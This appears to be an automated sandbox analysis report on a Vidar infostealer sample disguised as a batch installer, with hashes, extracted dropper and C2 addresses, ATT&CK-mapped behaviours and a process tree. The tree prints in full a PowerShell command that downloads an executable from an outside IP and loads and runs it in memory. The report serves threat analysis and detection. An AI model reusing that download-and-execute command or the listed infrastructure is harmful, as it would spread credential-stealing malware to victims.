vidar | 3e6a57b6588c5f28123ac53555fb31aa7cd1952762ce0ec0723265cda6cc7ebd

General

Target

Setup/Setup-install.bat
Size

10KB
MD5

13a2664aae1f59fe0dc94ff8fb4dfa06
SHA1

a783e4b0513e16b06fa7872e454860642148957e
SHA256

7b9db02ad489193d1b9a5d7d7edc41a69cbc69d5e15d8267c2bf52a25dd434f3
SHA512

082265517a550bb06f513ddc807536de67a0c8e6531897f4b27d2772bdcbd8307541d83e4d44c9c54beb86d326367716df3dffd29d3ba35077d6afc11477ebbc
SSDEEP

48:syolccKcrr30cFmyPYlyhhcKKIcKKWjJcKz3EcKcKcKfJiPhcK6cKEl559HccG5p:oXtCZuMdpf4a

Score

10^/10

vidar fc0stn discovery execution stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://147.45.44.131/infopage/rwtvha.exe

exe.dropper

http://147.45.44.131/infopage/rwtvha.exe

Extracted

Family

vidar

Botnet

fc0stn

C2

https://t.me/w0ctzn

https://steamcommunity.com/profiles/76561199817305251

Attributes

user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0

Signatures

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar

Blocklisted process makes network request 1 IoCs

flow	pid	Process
1	2636	powershell.exe

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2636	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2636 set thread context of 844	2636	powershell.exe	81

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2636	powershell.exe
2636	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2636	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 564 wrote to memory of 2636	564	cmd.exe	78
PID 564 wrote to memory of 2636	564	cmd.exe	78
PID 2636 wrote to memory of 3076	2636	powershell.exe	79
PID 2636 wrote to memory of 3076	2636	powershell.exe	79
PID 3076 wrote to memory of 2336	3076	csc.exe	80
PID 3076 wrote to memory of 2336	3076	csc.exe	80
PID 2636 wrote to memory of 844	2636	powershell.exe	81
PID 2636 wrote to memory of 844	2636	powershell.exe	81
PID 2636 wrote to memory of 844	2636	powershell.exe	81
PID 2636 wrote to memory of 844	2636	powershell.exe	81
PID 2636 wrote to memory of 844	2636	powershell.exe	81
PID 2636 wrote to memory of 844	2636	powershell.exe	81
PID 2636 wrote to memory of 844	2636	powershell.exe	81
PID 2636 wrote to memory of 844	2636	powershell.exe	81
PID 2636 wrote to memory of 844	2636	powershell.exe	81
PID 2636 wrote to memory of 844	2636	powershell.exe	81
PID 2636 wrote to memory of 844	2636	powershell.exe	81

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Setup\Setup-install.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$url = 'http://147.45.44.131/infopage/rwtvha.exe'; $webClient = New-Object System.Net.WebClient; $headerName = 'X-Special-Header'; $headerValue = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'; $webClient.Headers.Add($headerName, $headerValue); $fileBytes = $webClient.DownloadData($url); $assembly = [System.Reflection.Assembly]::Load($fileBytes); $entryPoint = $assembly.EntryPoint; if ($entryPoint -ne $null) { $entryPoint.Invoke($null, @()); }"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2636
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\d1xadanc\d1xadanc.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3076
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB6DC.tmp" "c:\Users\Admin\AppData\Local\Temp\d1xadanc\CSC58DEBD1ADFEC4645841858DAA9D7E7D2.TMP"
      4⤵
      PID:2336
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RESB6DC.tmp

Filesize
1KB

MD5
8e0194feda924f21b33373f980735623

SHA1
4704c4836a6ca501a1ab47597a2861f5b7d084ef

SHA256
49745317518c17807acda505d5d9cfd675f1776888ed5a5769e2cc7762a8a745

SHA512
535d30620717caa7e295a7ae4c58136c7fdaea3ba6f843d7f49ba3b1aefc3faa4122fac7097ab09cfa55f3da457fc56c34b768cd1734b34171d5912e9a579cdb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uw4sqmvr.2lg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\d1xadanc\d1xadanc.dll

Filesize
9KB

MD5
a2d5a507cee6016f189d14c56bf58dca

SHA1
cef120aebee20784b836b5411f40f11153e328d5

SHA256
ebad663bc3b6c351b02e95364d6ffb38b5071da0e59cd38e7ccd845c04a2f65b

SHA512
92f573a82986de5703e57cb783bbaf4814be7defc752af345e343245b65a222214afc74520805ec2a6d96d4a0e3f06f88ce04e2184e0e84e92152e5d0adec922

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\d1xadanc\CSC58DEBD1ADFEC4645841858DAA9D7E7D2.TMP

Filesize
652B

MD5
24f2be8864a8e60b9b0c0adde2a3bcef

SHA1
c4f911a2d01ee288c2f3937ff0ffb90a1a66a790

SHA256
23bc7e6795e5efcf15c6e71b839e424eca578821017d4c35242d45fe79a038ea

SHA512
e2894b09ce809e043dd39b134f3ce19dac20511cebe188adb4c1ad81fcbac55c87dd4ceeac1e65553bf6b19ff3dcc1c0135bacee939df21350bc2ca16d3ad897

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\d1xadanc\d1xadanc.0.cs

Filesize
10KB

MD5
478b152b3b9b40edaf5edcc91037dab8

SHA1
89b9a0358abdbc20f0093421d020ceebe6e5d515

SHA256
642d655cf208af1b6b913ef51c89134f794f185c4f661e5428b5e50dd5f36cbb

SHA512
9000302d0cafe0421143491e73846bad7bb03b1863c7515452fb2789d6b7124a87c8b0e11ef8c8020d663f5849d7f8055413c0e2e7dfe35bf180dde508aba12e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\d1xadanc\d1xadanc.cmdline

Filesize
204B

MD5
bc1d075ff2a923b2a287dc8757c9458d

SHA1
13ba87affb2acb929e92a1af8491779cd9cecfe9

SHA256
12e33a90a852b6caf89c631d13ec54cdfbd1eabcdb0fa95a79239fe0afd51236

SHA512
306efb444f803071a02846010b352139f59b1b02edfd2e926094618fd9ca5c82760e1e56413dc2eba6ea911fca206803d04f5ee3368fe50d37c91a791b85f2d9

Download Submit
memory/844-28-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/844-44-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/844-34-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/844-32-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/844-31-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/2636-0-0x00007FF8E89D3000-0x00007FF8E89D5000-memory.dmp

Filesize
8KB

Download
memory/2636-1-0x00007FF8E89D0000-0x00007FF8E9492000-memory.dmp

Filesize
10.8MB

Download
memory/2636-10-0x0000024AFCDA0000-0x0000024AFCDC2000-memory.dmp

Filesize
136KB

Download
memory/2636-26-0x0000024AFCE40000-0x0000024AFCE48000-memory.dmp

Filesize
32KB

Download
memory/2636-11-0x00007FF8E89D0000-0x00007FF8E9492000-memory.dmp

Filesize
10.8MB

Download
memory/2636-12-0x00007FF8E89D0000-0x00007FF8E9492000-memory.dmp

Filesize
10.8MB

Download
memory/2636-35-0x00007FF8E89D0000-0x00007FF8E9492000-memory.dmp

Filesize
10.8MB

Download
memory/2636-13-0x0000024AFCE30000-0x0000024AFCE3E000-memory.dmp

Filesize
56KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads